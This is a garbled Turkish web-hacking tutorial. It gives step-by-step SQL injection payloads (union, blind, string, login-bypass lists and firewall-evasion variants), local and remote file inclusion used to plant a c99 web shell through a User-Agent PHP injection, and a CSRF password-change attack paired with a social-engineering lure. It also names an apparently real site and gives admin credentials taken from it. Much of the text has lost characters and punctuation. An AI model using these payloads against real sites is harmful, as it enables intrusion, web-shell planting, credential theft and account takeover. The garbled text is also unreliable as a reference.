wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 27: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

